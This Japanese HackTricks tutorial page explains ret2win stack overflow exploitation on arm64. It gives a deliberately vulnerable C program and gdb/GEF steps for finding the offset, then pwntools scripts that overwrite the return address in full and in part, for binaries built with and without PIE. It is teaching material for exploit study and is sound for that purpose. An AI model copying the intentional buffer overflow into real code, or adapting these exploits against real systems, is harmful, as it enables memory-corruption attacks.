Ret2win - arm64

Ret2win - arm64

HackTricksをサポートする

arm64の紹介は以下を参照してください:

コード

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

コンパイル時にPIEとカナリアを無効にする:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

オフセットの特定

パターンオプション

この例はGEFを使用して作成されました:

gefでgdbを起動し、パターンを作成して使用します:

gdb -q ./ret2win
pattern create 200
run

arm64は、レジスタx30(侵害された)にあるアドレスに戻ろうとします。これを利用してパターンオフセットを見つけることができます:

pattern search $x30

オフセットは72(9x48)です。

スタックオフセットオプション

pcレジスタが格納されているスタックアドレスを取得することから始めます:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

次に、read()の後にブレークポイントを設定し、read()が実行されるまで続けて、13371337のようなパターンを設定します:

b *vulnerable_function+28
c

このパターンがメモリのどこに保存されているかを見つけます:

次に: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

win 関数のアドレスを取得します:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

エクスプロイト:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

実際には、これはスタックに保存されたPCでオフバイ2のようになります。すべてのリターンアドレスを上書きするのではなく、最後の2バイトのみ0x06c4で上書きします。

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

ARM64の別のオフバイワンの例は、https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/で見つけることができ、これは架空の脆弱性における実際のオフバイ-ワンです。

PIEを使用して

バイナリを**-no-pie引数なしでコンパイルします**

オフバイ-2

リークがないと、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしている戻りアドレスがすでに近いアドレスを指していることを考慮すると、この場合、勝利関数へのオフセット(0x7d4)をリークし、そのオフセットを使用することが可能です:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()


<div data-gb-custom-block data-tag="hint" data-style='success'>

AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricksをサポートする</summary>

* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**

</details>

</div>

Last updated